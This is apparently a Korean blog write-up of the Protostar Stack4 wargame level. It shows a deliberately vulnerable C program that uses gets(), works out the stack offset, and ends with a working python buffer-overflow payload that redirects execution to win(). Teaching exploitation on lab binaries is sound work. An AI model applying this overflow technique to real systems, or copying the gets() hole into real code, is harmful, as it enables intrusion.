ii4gsp

Exploit Exercises [Protostar - Stack4] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Stack4]

ii4gsp 2020. 1. 16. 21:20
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

ret를 win() 함수의 시작 주소로 조작해야한다.

 

 

 

 

스택이 0x50만큼 할당되었다 0x50은 10진수로 80이다 int argc, char **argv, char buffer[64]

3개의 변수 크기를 더하면 72이다 80 - 72 = 8

dummy는 8이다.

 

 

 

 

0x080483f4가 win() 함수의 시작 주소이다.

리틀 엔디언 방식으로 ret를 덮어주면 된다.

페이로드는 buffer[64byte] + dummy[8byte] + sfp[4byte] + win()함수 시작 주소

 

 

 

 

(python -c 'print "\x90" * 76 + "\xf4\x83\x04\x08"';cat) | ./stack4
Comments